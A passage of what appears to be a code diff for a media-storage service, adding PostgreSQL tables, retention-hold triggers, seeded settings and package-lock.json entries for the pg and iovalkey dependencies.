"C",++ outcome text COLLATE "C" NOT NULL CHECK(outcome IN ('done', 'already', 'refused', 'failed', 'dry_run')),++ trigger text COLLATE "C" NOT NULL,++ reason text COLLATE "C" NOT NULL,++ inputs text COLLATE "C" NOT NULL DEFAULT '{}',++ thresholds text COLLATE "C" NOT NULL DEFAULT '{}',++ error text COLLATE "C"++);++++CREATE TABLE media_object_changes (++ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,++ object_id text COLLATE "C" NOT NULL,++ change text COLLATE "C" NOT NULL CHECK(change IN ('deleted', 'visibility_changed')),++ previous_visibility text COLLATE "C",++ visibility text COLLATE "C",++ changed_at text COLLATE "C" NOT NULL DEFAULT ov_now_iso()++);++++CREATE TABLE media_verifications (++ object_id text COLLATE "C" PRIMARY KEY,++ verified_at text COLLATE "C" NOT NULL,++ status text COLLATE "C" NOT NULL CHECK(status IN ('good', 'no_good_copy', 'unverifiable')),++ good_providers text COLLATE "C",++ detail text COLLATE "C" NOT NULL DEFAULT '{}',++ run_id bigint++);++++CREATE TABLE media_verify_runs (++ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,++ started_at text COLLATE "C" NOT NULL,++ finished_at text COLLATE "C",++ objects_checked bigint NOT NULL DEFAULT 0,++ locations_checked bigint NOT NULL DEFAULT 0,++ good bigint NOT NULL DEFAULT 0,++ no_good_copy bigint NOT NULL DEFAULT 0,++ unverifiable bigint NOT NULL DEFAULT 0,++ reuploaded bigint NOT NULL DEFAULT 0,++ reupload_failed bigint NOT NULL DEFAULT 0,++ no_good_copy_total bigint,++ error text COLLATE "C"++);++++CREATE TABLE account_data_events (++ id text COLLATE "C" PRIMARY KEY,++ kind text COLLATE "C" NOT NULL,++ subject text COLLATE "C" NOT NULL,++ outcome text COLLATE "C",++ sent_at text COLLATE "C",++ applied_at text COLLATE "C" NOT NULL DEFAULT ov_now_iso()++);++++CREATE TABLE subject_merges (++ merge_id text COLLATE "C" PRIMARY KEY,++ from_subject text COLLATE "C" NOT NULL,++ into_subject text COLLATE "C" NOT NULL,++ objects bigint NOT NULL DEFAULT 0,++ applied_at text COLLATE "C" NOT NULL DEFAULT ov_now_iso()++);++++CREATE TABLE content_visits (++ content_type text COLLATE "C" NOT NULL,++ content_id bigint NOT NULL,++ visitor text COLLATE "C" NOT NULL,++ first_at text COLLATE "C" DEFAULT ov_now(),++ last_at text COLLATE "C" DEFAULT ov_now(),++ visits bigint DEFAULT 1,++ PRIMARY KEY (content_type, content_id, visitor)++);++++CREATE TABLE search_doc_pushes (++ kind text COLLATE "C" NOT NULL,++ media_id bigint NOT NULL,++ hash text COLLATE "C" NOT NULL,++ revision bigint NOT NULL,++ deleted bigint NOT NULL DEFAULT 0,++ pushed_at text COLLATE "C" DEFAULT ov_now(),++ PRIMARY KEY (kind, media_id)++);++++CREATE INDEX idx_vods_app ON vods(app_id, created_at DESC);++CREATE INDEX idx_vods_recording ON vods(is_recording);++CREATE INDEX idx_vods_provider ON vods(storage_provider);++CREATE INDEX idx_clips_app ON clips(app_id, created_at DESC);++CREATE INDEX idx_clips_vod ON clips(vod_id);++CREATE INDEX idx_clips_stream ON clips(stream_id);++CREATE INDEX idx_content_views_lookup ON content_views(content_type, content_id);++CREATE INDEX idx_pastes_slug ON pastes(slug);++CREATE INDEX idx_pastes_app ON pastes(app_id, created_at DESC);++CREATE INDEX idx_pastes_user ON pastes(user_id);++CREATE INDEX idx_pastes_visibility ON pastes(visibility);++CREATE INDEX idx_paste_comments_paste ON paste_comments(paste_id);++CREATE INDEX idx_paste_comments_ip ON paste_comments(ip_address);++CREATE INDEX idx_files_app ON files(app_id, created_at DESC);++CREATE INDEX idx_assets_app_kind ON assets(app_id, kind, created_at DESC);++CREATE UNIQUE INDEX idx_assets_identity ON assets(app_id, kind, name, channel_username);++CREATE INDEX idx_media_objects_app ON media_objects(app_id, id);++CREATE INDEX idx_media_objects_kind ON media_objects(app_id, kind);++CREATE INDEX idx_media_objects_owner ON media_objects(owner_subject);++CREATE INDEX idx_media_objects_lifecycle ON media_objects(lifecycle_status);++CREATE INDEX idx_media_objects_namespace ON media_objects(app_id, namespace, lifecycle_status);++CREATE INDEX idx_media_namespaces_app ON media_namespaces(app_id, namespace);++CREATE INDEX idx_media_quota_reservations_ns ON media_quota_reservations(app_id, namespace);++CREATE INDEX idx_media_quota_reservations_expiry ON media_quota_reservations(expires_at);++CREATE INDEX idx_media_relationships_to ON media_relationships(to_object_id, relation);++CREATE INDEX idx_media_jobs_status ON media_jobs(status, job_type);++CREATE INDEX idx_media_uploads_object ON media_uploads(object_id, status);++CREATE INDEX idx_media_uploads_expiry ON media_uploads(status, expires_at);++CREATE INDEX idx_media_holds_object ON media_holds(object_id, released_at);++CREATE INDEX idx_media_tier_decisions_vod ON media_tier_decisions(vod_id, id);++CREATE INDEX idx_media_tier_decisions_app ON media_tier_decisions(app_id, id);++CREATE INDEX idx_media_object_views_daily_day ON media_object_views_daily(day, object_id);++CREATE INDEX idx_media_object_tier_decisions_object ON media_object_tier_decisions(object_id, id);++CREATE INDEX idx_media_object_tier_decisions_app ON media_object_tier_decisions(app_id, id);++CREATE INDEX idx_media_verifications_at ON media_verifications(verified_at);++CREATE INDEX idx_media_verifications_status ON media_verifications(status);++CREATE INDEX idx_media_jobs_app ON media_jobs(app_id, id);++CREATE INDEX idx_media_jobs_object ON media_jobs(object_id, job_type, status);++CREATE UNIQUE INDEX idx_media_jobs_idem ON media_jobs(app_id, idempotency_key) WHERE idempotency_key IS NOT NULL;++CREATE INDEX idx_clips_object ON clips(object_id);++CREATE INDEX idx_content_visits_item ON content_visits(content_type, content_id);++CREATE INDEX idx_content_visits_last ON content_visits(last_at);++++CREATE FUNCTION trg_vods_hold_guard_v2() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF (OLD.object_id IS NOT NULL AND EXISTS (SELECT 1 FROM media_holds h WHERE h.released_at IS NULL AND (h.object_id = OLD.object_id OR h.object_id IN (SELECT r.to_object_id FROM media_relationships r WHERE r.from_object_id = OLD.object_id AND r.relation = 'clip_of') OR h.object_id IN (SELECT v.object_id FROM clips c JOIN vods v ON v.id = c.vod_id WHERE c.object_id = OLD.object_id)))) THEN RAISE EXCEPTION 'media object is under a retention hold'; END IF; RETURN OLD; END $$;++CREATE TRIGGER trg_vods_hold_guard_v2 BEFORE DELETE ON vods FOR EACH ROW EXECUTE FUNCTION trg_vods_hold_guard_v2();++++CREATE FUNCTION trg_vods_object_deleted() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF OLD.object_id IS NOT NULL THEN UPDATE media_objects SET lifecycle_status = 'deleted', deleted_at = COALESCE(deleted_at, ov_now()), updated_at = ov_now() WHERE id = OLD.object_id AND lifecycle_status != 'deleted'; END IF; RETURN NULL; END $$;++CREATE TRIGGER trg_vods_object_deleted AFTER DELETE ON vods FOR EACH ROW EXECUTE FUNCTION trg_vods_object_deleted();++++CREATE FUNCTION trg_clips_hold_guard_v2() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF (OLD.object_id IS NOT NULL AND EXISTS (SELECT 1 FROM media_holds h WHERE h.released_at IS NULL AND (h.object_id = OLD.object_id OR h.object_id IN (SELECT r.to_object_id FROM media_relationships r WHERE r.from_object_id = OLD.object_id AND r.relation = 'clip_of') OR h.object_id IN (SELECT v.object_id FROM clips c JOIN vods v ON v.id = c.vod_id WHERE c.object_id = OLD.object_id)))) OR (OLD.vod_id IS NOT NULL AND EXISTS (SELECT 1 FROM media_holds h JOIN vods v ON v.object_id = h.object_id WHERE v.id = OLD.vod_id AND h.released_at IS NULL)) THEN RAISE EXCEPTION 'media object is under a retention hold'; END IF; RETURN OLD; END $$;++CREATE TRIGGER trg_clips_hold_guard_v2 BEFORE DELETE ON clips FOR EACH ROW EXECUTE FUNCTION trg_clips_hold_guard_v2();++++CREATE FUNCTION trg_clips_object_deleted() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF OLD.object_id IS NOT NULL THEN UPDATE media_objects SET lifecycle_status = 'deleted', deleted_at = COALESCE(deleted_at, ov_now()), updated_at = ov_now() WHERE id = OLD.object_id AND lifecycle_status != 'deleted'; END IF; RETURN NULL; END $$;++CREATE TRIGGER trg_clips_object_deleted AFTER DELETE ON clips FOR EACH ROW EXECUTE FUNCTION trg_clips_object_deleted();++++CREATE FUNCTION trg_files_hold_guard_v2() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF (OLD.object_id IS NOT NULL AND EXISTS (SELECT 1 FROM media_holds h WHERE h.released_at IS NULL AND (h.object_id = OLD.object_id OR h.object_id IN (SELECT r.to_object_id FROM media_relationships r WHERE r.from_object_id = OLD.object_id AND r.relation = 'clip_of') OR h.object_id IN (SELECT v.object_id FROM clips c JOIN vods v ON v.id = c.vod_id WHERE c.object_id = OLD.object_id)))) THEN RAISE EXCEPTION 'media object is under a retention hold'; END IF; RETURN OLD; END $$;++CREATE TRIGGER trg_files_hold_guard_v2 BEFORE DELETE ON files FOR EACH ROW EXECUTE FUNCTION trg_files_hold_guard_v2();++++CREATE FUNCTION trg_files_object_deleted() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF OLD.object_id IS NOT NULL THEN UPDATE media_objects SET lifecycle_status = 'deleted', deleted_at = COALESCE(deleted_at, ov_now()), updated_at = ov_now() WHERE id = OLD.object_id AND lifecycle_status != 'deleted'; END IF; RETURN NULL; END $$;++CREATE TRIGGER trg_files_object_deleted AFTER DELETE ON files FOR EACH ROW EXECUTE FUNCTION trg_files_object_deleted();++++CREATE FUNCTION trg_pastes_hold_guard_v2() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF (OLD.object_id IS NOT NULL AND EXISTS (SELECT 1 FROM media_holds h WHERE h.released_at IS NULL AND (h.object_id = OLD.object_id OR h.object_id IN (SELECT r.to_object_id FROM media_relationships r WHERE r.from_object_id = OLD.object_id AND r.relation = 'clip_of') OR h.object_id IN (SELECT v.object_id FROM clips c JOIN vods v ON v.id = c.vod_id WHERE c.object_id = OLD.object_id)))) THEN RAISE EXCEPTION 'media object is under a retention hold'; END IF; RETURN OLD; END $$;++CREATE TRIGGER trg_pastes_hold_guard_v2 BEFORE DELETE ON pastes FOR EACH ROW EXECUTE FUNCTION trg_pastes_hold_guard_v2();++++CREATE FUNCTION trg_pastes_object_deleted() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF OLD.object_id IS NOT NULL THEN UPDATE media_objects SET lifecycle_status = 'deleted', deleted_at = COALESCE(deleted_at, ov_now()), updated_at = ov_now() WHERE id = OLD.object_id AND lifecycle_status != 'deleted'; END IF; RETURN NULL; END $$;++CREATE TRIGGER trg_pastes_object_deleted AFTER DELETE ON pastes FOR EACH ROW EXECUTE FUNCTION trg_pastes_object_deleted();++++CREATE FUNCTION trg_media_objects_hold_guard_v2() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF NEW.lifecycle_status = 'deleted' AND OLD.lifecycle_status != 'deleted' AND EXISTS (SELECT 1 FROM media_holds h WHERE h.released_at IS NULL AND (h.object_id = OLD.id OR h.object_id IN (SELECT r.to_object_id FROM media_relationships r WHERE r.from_object_id = OLD.id AND r.relation = 'clip_of') OR h.object_id IN (SELECT v.object_id FROM clips c JOIN vods v ON v.id = c.vod_id WHERE c.object_id = OLD.id))) THEN RAISE EXCEPTION 'media object is under a retention hold'; END IF; RETURN NEW; END $$;++CREATE TRIGGER trg_media_objects_hold_guard_v2 BEFORE UPDATE OF lifecycle_status ON media_objects FOR EACH ROW EXECUTE FUNCTION trg_media_objects_hold_guard_v2();++++CREATE FUNCTION trg_media_objects_hold_delete_v2() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF EXISTS (SELECT 1 FROM media_holds h WHERE h.released_at IS NULL AND (h.object_id = OLD.id OR h.object_id IN (SELECT r.to_object_id FROM media_relationships r WHERE r.from_object_id = OLD.id AND r.relation = 'clip_of') OR h.object_id IN (SELECT v.object_id FROM clips c JOIN vods v ON v.id = c.vod_id WHERE c.object_id = OLD.id))) THEN RAISE EXCEPTION 'media object is under a retention hold'; END IF; RETURN OLD; END $$;++CREATE TRIGGER trg_media_objects_hold_delete_v2 BEFORE DELETE ON media_objects FOR EACH ROW EXECUTE FUNCTION trg_media_objects_hold_delete_v2();++++CREATE FUNCTION trg_media_objects_visibility_event() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF OLD.visibility IS DISTINCT FROM NEW.visibility AND NEW.lifecycle_status != 'deleted' THEN INSERT INTO media_object_changes (object_id, change, previous_visibility, visibility) VALUES (NEW.id, 'visibility_changed', OLD.visibility, NEW.visibility); END IF; RETURN NULL; END $$;++CREATE TRIGGER trg_media_objects_visibility_event AFTER UPDATE OF visibility ON media_objects FOR EACH ROW EXECUTE FUNCTION trg_media_objects_visibility_event();++++CREATE FUNCTION trg_media_objects_deleted_event() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF NEW.lifecycle_status = 'deleted' AND OLD.lifecycle_status != 'deleted' THEN INSERT INTO media_object_changes (object_id, change, previous_visibility) VALUES (NEW.id, 'deleted', OLD.visibility); END IF; RETURN NULL; END $$;++CREATE TRIGGER trg_media_objects_deleted_event AFTER UPDATE OF lifecycle_status ON media_objects FOR EACH ROW EXECUTE FUNCTION trg_media_objects_deleted_event();++++-- openvibe-shared/config on PostgreSQL (configSchema()): the revisioned policies media.storage_tier and media.object_tier++CREATE TABLE IF NOT EXISTS config_snapshots (++ namespace text COLLATE "C" NOT NULL,++ revision bigint NOT NULL,++ service text COLLATE "C" NOT NULL,++ previous_revision bigint,++ state text COLLATE "C" NOT NULL CHECK (state IN ('proposed', 'active', 'superseded', 'rejected', 'rolled_back')),++ values_json text COLLATE "C" NOT NULL, -- the full values, secrets included (never served)++ classification_json text COLLATE "C" NOT NULL,++ values_checksum text COLLATE "C" NOT NULL, -- sha256 of the full values: internal, never served++ created_at text COLLATE "C" NOT NULL,++ created_by text COLLATE "C" NOT NULL,++ activated_at text COLLATE "C",++ activated_by text COLLATE "C",++ reason text COLLATE "C",++ error text COLLATE "C",++ copied_from bigint,++ good bigint NOT NULL DEFAULT 0, -- 1 once it activated successfully (last-known-good)++ PRIMARY KEY (namespace, revision)++);++CREATE UNIQUE INDEX IF NOT EXISTS config_snapshots_one_active ON config_snapshots (namespace) WHERE state = 'active';++-- The fingerprint key of each namespace. Never served, never logged.++CREATE TABLE IF NOT EXISTS config_keys (++ namespace text COLLATE "C" PRIMARY KEY,++ hmac_key bytea NOT NULL,++ created_at text COLLATE "C" NOT NULL++);++++-- openvibe-sdk/auth createPgRevocationStore: Network's per-person token cutoffs (revocationSchema('token_revocations'))++CREATE TABLE IF NOT EXISTS token_revocations (++ subject_id text COLLATE "C" PRIMARY KEY,++ valid_after_ms bigint NOT NULL,++ reason text,++ updated_at bigint NOT NULL++);++++-- Rows the SQLite boot seeded++INSERT INTO media_settings (key, value, description, type) VALUES++ ('namespaces.reservations_seeded', '2026-09-28T19:44:20.852Z', '', 'string'),++ ('max_clip_duration', '60', 'Maximum clip length in seconds', 'number'),++ ('paste_max_size_kb', '512', 'Maximum paste content size in KB', 'number'),++ ('paste_screenshot_max_size_mb', '8', 'Maximum screenshot upload size in MB', 'number'),++ ('paste_cooldown_seconds', '30', 'Cooldown between paste submissions in seconds (user-JWT callers)', 'number'),++ ('paste_max_per_user_per_day', '200', 'Maximum pastes per user per day (0 = unlimited)', 'number'),++ ('paste_comment_cooldown_seconds', '10', 'Cooldown between paste comments in seconds', 'number'),++ ('paste_comment_max_length', '2000', 'Maximum paste comment length in characters', 'number'),++ ('paste_comment_anon_allowed', 'true', 'Allow anonymous comments on pastes', 'boolean'),++ ('views_migrated_v2', '1', 'Internal: legacy content_views imported', 'boolean'),++ ('view_cooldown_sec', '21600', 'A visitor counts as a new view of the same item only after this many seconds (anti refresh-spam). 0 = every visit', 'number'),++ ('view_ip_events_per_min', '60', 'Drop view events from an IP that fires more than this many per minute (across all content)', 'number');++++-- openvibe-sdk/events PostgreSQL outbox++CREATE TABLE IF NOT EXISTS event_outbox (++ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,++ event_id text NOT NULL UNIQUE,++ envelope jsonb NOT NULL,++ traceparent text,++ created_at bigint NOT NULL,++ attempts integer NOT NULL DEFAULT 0,++ next_attempt_at bigint NOT NULL DEFAULT 0,++ sent_at bigint,++ seq bigint,++ rejected_at bigint,++ last_error text++);++CREATE INDEX IF NOT EXISTS event_outbox_due ON event_outbox (next_attempt_at, id) WHERE sent_at IS NULL AND rejected_at IS NULL;++CREATE INDEX IF NOT EXISTS event_outbox_sent ON event_outbox (sent_at) WHERE sent_at IS NOT NULL;@@@ -15,11 +15,16 @@"better-sqlite3": "^11.0.0","dotenv": "^16.4.5","express": "^4.19.2",++ "iovalkey": "^0.4.0","multer": "^1.4.5-lts.1",-- "openvibe-contracts": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.71.0",-- "openvibe-sdk": "https://codeload.github.com/OpenVibers/OpenVibe.SDK/tar.gz/refs/tags/v0.12.0",-- "openvibe-shared": "https://codeload.github.com/OpenVibers/OpenVibe.Shared/tar.gz/refs/tags/v1.25.0",++ "openvibe-contracts": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.76.0",++ "openvibe-sdk": "https://codeload.github.com/OpenVibers/OpenVibe.SDK/tar.gz/refs/tags/v0.21.2",++ "openvibe-shared": "https://codeload.github.com/OpenVibers/OpenVibe.Shared/tar.gz/refs/tags/v1.28.0",++ "pg": "^8.23.0","sharp": "^0.33.4"++ },++ "devDependencies": {++ "@electric-sql/pglite": "^0.5.8"}},"node_modules/@aws-sdk/checksums": {@@@ -367,6 +372,13 @@"node": ">=18.0.0"}},++ "node_modules/@electric-sql/pglite": {++ "version": "0.5.8",++ "resolved": "https://registry.npmjs.org/@electric-sql/pglite/-/pglite-0.5.8.tgz",++ "integrity": "sha512-n9tsbUOhwx2epK1V0ZG9Ar4SHWUju04dhmzZXiSBXwBoleOvIfals33NAaWgagQVAL4Rbvx/Ptsu3P+pA09f6Q==",++ "devOptional": true,++ "license": "Apache-2.0"++ },"node_modules/@emnapi/runtime": {"version": "1.11.3","resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.11.3.tgz",@@@ -738,6 +750,12 @@"url": "https://opencollective.com/libvips"}},++ "node_modules/@iovalkey/commands": {++ "version": "0.1.0",++ "resolved": "https://registry.npmjs.org/@iovalkey/commands/-/commands-0.1.0.tgz",++ "integrity": "sha512-/B9W4qKSSITDii5nkBCHyPkIkAi+ealUtr1oqBJsLxjSRLka4pxun2VvMNSmcwgAMxgXtQfl0qRv7TE+udPJzg==",++ "license": "MIT"++ },"node_modules/@smithy/core": {"version": "3.33.2","resolved": "https://registry.npmjs.org/@smithy/core/-/core-3.33.2.tgz",@@@ -1049,6 +1067,15 @@"integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==","license": "ISC"},++ "node_modules/cluster-key-slot": {++ "version": "1.1.2",++ "resolved": "https://registry.npmjs.org/cluster-key-slot/-/cluster-key-slot-1.1.2.tgz",++ "integrity": "sha512-RMr0FhtfXemyinomL4hrWcYJxmX6deFdCxpJzhDttxgO1+bcCnkk+9drydLVDmAMG7NE6aN/fl4F7ucU/90gAA==",++ "license": "Apache-2.0",++ "engines": {++ "node": ">=0.10.0"++ }++ },"node_modules/color": {"version": "4.2.3","resolved": "https://registry.npmjs.org/color/-/color-4.2.3.tgz",@@@ -1180,6 +1207,15 @@"node": ">=4.0.0"}},++ "node_modules/denque": {++ "version": "2.1.0",++ "resolved": "https://registry.npmjs.org/denque/-/denque-2.1.0.tgz",++ "integrity": "sha512-HVQE3AAb/pxF8fQAoiqpvg9i3evqug3hoiwakOyZAwJm+6vZehbkYXZ0l4JxS+I3QxM97v5aaRNhj8v5oBhekw==",++ "license": "Apache-2.0",++ "engines": {++ "node": ">=0.10"++ }++ },"node_modules/depd": {"version": "2.0.0","resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",@@@ -1598,6 +1634,49 @@"integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==","license": "ISC"},++ "node_modules/iovalkey": {++ "version": "0.4.0",++ "resolved": "https://registry.npmjs.org/iovalkey/-/iovalkey-0.4.0.tgz",++ "integrity": "sha512-OSUKxJ+s44CLdUTaicX4+pVrBN/zHKIYwr2oKhRDuczr19FwcSCXEZHzcMUYWZNh1mNSCV9bNJHW/T6cHVm9Aw==",++ "license": "MIT",++ "dependencies": {++ "@iovalkey/commands": "^0.1.0",++ "cluster-key-slot": "^1.1.0",++ "debug": "^4.3.4",++ "denque": "^2.1.0",++ "lodash.defaults": "^4.2.0",++ "lodash.isarguments": "^3.1.0",++ "redis-errors": "^1.2.0",++ "redis-parser": "^3.0.0",++ "standard-as-callback": "^2.1.0"++ },++ "engines": {++ "node": ">=18.12.0"++ }++ },++ "node_modules/iovalkey/node_modules/debug": {++ "version": "4.4.3",++ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",++ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",++ "license": "MIT",++ "dependencies": {++ "ms": "^2.1.3"++ },++ "engines": {++ "node": ">=6.0"++ },++ "peerDependenciesMeta": {++ "supports-color": {++ "optional": true++ }++ }++ },++ "node_modules/iovalkey/node_modules/ms": {++ "version": "2.1.3",++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",++ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",++ "license": "MIT"++ },"node_modules/ipaddr.js": {"version": "1.9.1","resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",@@@ -1674,12 +1753,24 @@"safe-buffer": "^5.0.1"}},++ "node_modules/lodash.defaults": {++ "version": "4.2.0",++ "resolved": "https://registry.npmjs.org/lodash.defaults/-/lodash.defaults-4.2.0.tgz",++ "integrity": "sha512-qjxPLHd3r5DnsdGacqOMU6pb/avJzdh9tFX2ymgoZE27BmjXrNy/y4LoaiTeAb+O3gL8AfpJGtqfX/ae2leYYQ==",++ "license": "MIT"++ },"node_modules/lodash.includes": {"version": "4.3.0","resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz","integrity": "sha512-W3Bx6mdkRTGtlJISOvVD/lbqjTlPPUDTMnlXZFnVwi9NKJ6tiAk6LVdlhZMm17VZisqhKcgzpO5Wz91PCt5b0w==","license": "MIT"},++ "node_modules/lodash.isarguments": {++ "version": "3.1.0",++ "resolved": "https://registry.npmjs.org/lodash.isarguments/-/lodash.isarguments-3.1.0.tgz",++ "integrity": "sha512-chi4NHZlZqZD18a0imDHnZPrDeBbTtVN7GXMwuGdRH9qotxAjYs3aVLKc7zNOG9eddR5Ksd8rvFEBc9SsggPpg==",++ "license": "MIT"++ },"node_modules/lodash.isboolean": {"version": "3.0.3","resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz",@@@ -1919,9 +2010,9 @@}},"node_modules/openvibe-contracts": {-- "version": "0.71.0",-- "resolved": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.71.0",-- "integrity": "sha512-BLS6gP/MKuwhvTdWO8UYUaOyhmf7ni0cQ8r7150o57R5TrCnzdWQEVESxfMFCGgSbm2wdKtdZwTID69nxD14Tg==",++ "version": "0.76.0",++ "resolved": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.76.0",++ "integrity": "sha512-zTdx776KWrcJKm1JTnf+0+BnsvswdvXy1ldPyse1hSqhnW/SSr98sX696eRetFUhTl8qVM1xSRCykqIUbqItPw==","license": "AGPL-3.0-only","dependencies": {"ajv": "^8.17.1",@@@ -1935,18 +2026,38 @@}},"node_modules/openvibe-sdk": {-- "version": "0.12.0",-- "resolved": "https://codeload.github.com/OpenVibers/OpenVibe.SDK/tar.gz/refs/tags/v0.12.0",-- "integrity": "sha512-iG1h905O1f7y/PnP8xLA6GCVzXEBDfSaBj2tc1ucNreWg2sT/AJWosb8NW0WRMK5WS4sIQ6tMsprmDLj/fjjeQ==",++ "version": "0.21.2",++ "resolved": "https://codeload.github.com/OpenVibers/OpenVibe.SDK/tar.gz/refs/tags/v0.21.2",++ "integrity": "sha512-k04b9r2FCYVIhb8KLNrr5y43eb1l3UKzYNKl9m/vqMRAjZGh4p3pI2I/8UFU9bosKD8KAS121OO4rH8NUtx4sg==","license": "MIT","engines": {"node": ">=20"++ },++ "peerDependencies": {++ "@electric-sql/pglite": "^0.5.8",++ "better-sqlite3": ">=11",++ "iovalkey": "^0.4.0",++ "pg": "^8.23.0"++ },++ "peerDependenciesMeta": {++ "@electric-sql/pglite": {++ "optional": true++ },++ "better-sqlite3": {++ "optional": true++ },++ "iovalkey": {++ "optional": true++ },++ "pg": {++ "optional": true++ }}},"node_modules/openvibe-shared": {-- "version": "1.25.0",-- "resolved": "https://codeload.github.com/OpenVibers/OpenVibe.Shared/tar.gz/refs/tags/v1.25.0",-- "integrity": "sha512-oqZ+PvljrWi8IEbtg6bDYai17ZV2sALFx/ezMptniELSr10TgFUiGUQt+b1IWwiHv0T2Y1U2iSrkirJxMNgjSw==",++ "version": "1.28.0",++ "resolved": "https://codeload.github.com/OpenVibers/OpenVibe.Shared/tar.gz/refs/tags/v1.28.0",++ "integrity": "sha512-WLd11lDG75veVi7mFwngquK2nqIQV86Z14Ad/xE2dYvyMT5mhKJxxxlKUoskpdyLeap0ucMvzzS8Tg7vPGwYoQ==","license": "MIT","dependencies": {"jsonwebtoken": "^9.0.0"@@@ -1967,6 +2078,134 @@"integrity": "sha512-A/AGNMFN3c8bOlvV9RreMdrv7jsmF9XIfDeCd87+I8RNg6s78BhJxMu69NEMHBSJFxKidViTEdruRwEk/WIKqA==","license": "MIT"},++ "node_modules/pg": {++ "version": "8.23.0",++ "resolved": "https://registry.npmjs.org/pg/-/pg-8.23.0.tgz",++ "integrity": "sha512-Ip2EQCngowJLGOfCwkFhPXU7/ljlhn6Rxlmy4XYfL2Y+vyRM59+8uR2xqRWKdYmbXmxCFOAmKxBuSUCdF34qLg==",++ "license": "MIT",++ "dependencies": {++ "pg-connection-string": "^2.14.0",++ "pg-pool": "^3.14.0",++ "pg-protocol": "^1.16.0",++ "pg-types": "2.2.0",++ "pgpass": "1.0.5"++ },++ "engines": {++ "node": ">= 16.0.0"++ },++ "optionalDependencies": {++ "pg-cloudflare": "^1.4.0"++ },++ "peerDependencies": {++ "pg-native": ">=3.0.1"++ },++ "peerDependenciesMeta": {++ "pg-native": {++ "optional": true++ }++ }++ },++ "node_modules/pg-cloudflare": {++ "version": "1.4.0",++ "resolved": "https://registry.npmjs.org/pg-cloudflare/-/pg-cloudflare-1.4.0.tgz",++ "integrity": "sha512-Vo7z/6rrQYxpNRylp4Tlob2elzbh+N/MOQbxFVWCxS7oEx6jF53GTJFxK2WWpKuBRkmiin4Mt+xofFDjx09R0A==",++ "license": "MIT",++ "optional": true++ },++ "node_modules/pg-connection-string": {++ "version": "2.14.0",++ "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.14.0.tgz",++ "integrity": "sha512-XwWDGcLRGCXAR8F/AM5bG7Q+A3Wm2s6QeEjlOKZLlH3UYcguiqCWKyWXVag5TLTIjR7oOJUY8kcADaZgWPyLeg==",++ "license": "MIT"++ },++ "node_modules/pg-int8": {++ "version": "1.0.1",++ "resolved": "https://registry.npmjs.org/pg-int8/-/pg-int8-1.0.1.tgz",++ "integrity": "sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw==",++ "license": "ISC",++ "engines": {++ "node": ">=4.0.0"++ }++ },++ "node_modules/pg-pool": {++ "version": "3.14.0",++ "resolved": "https://registry.npmjs.org/pg-pool/-/pg-pool-3.14.0.tgz",++ "integrity": "sha512-gKtPkFdQPU3DksooVLi9LsjZxrsBUZIpa+7aVx+LV5pNh0KzP4Zleud2po+ConrxbuXGBJ6Hfer6hdgpIBpBaw==",++ "license": "MIT",++ "peerDependencies": {++ "pg": ">=8.0"++ }++ },++ "node_modules/pg-protocol": {++ "version": "1.16.0",++ "resolved": "https://registry.npmjs.org/pg-protocol/-/pg-protocol-1.16.0.tgz",++ "integrity": "sha512-sILXutLVjCLjcDuOmvhX5e2Z4cS5qG/6Bu3VkpFwdf/633ElGLpEh9bgmuI5I4sqKqkifQiGyiCcx1HdtrK7tg==",++ "license": "MIT"++ },++ "node_modules/pg-types": {++ "version": "2.2.0",++ "resolved": "https://registry.npmjs.org/pg-types/-/pg-types-2.2.0.tgz",++ "integrity": "sha512-qTAAlrEsl8s4OiEQY69wDvcMIdQN6wdz5ojQiOy6YRMuynxenON0O5oCpJI6lshc6scgAY8qvJ2On/p+CXY0GA==",++ "license": "MIT",++ "dependencies": {++ "pg-int8": "1.0.1",++ "postgres-array": "~2.0.0",++ "postgres-bytea": "~1.0.0",++ "postgres-date": "~1.0.4",++ "postgres-interval": "^1.1.0"++ },++ "engines": {++ "node": ">=4"++ }++ },++ 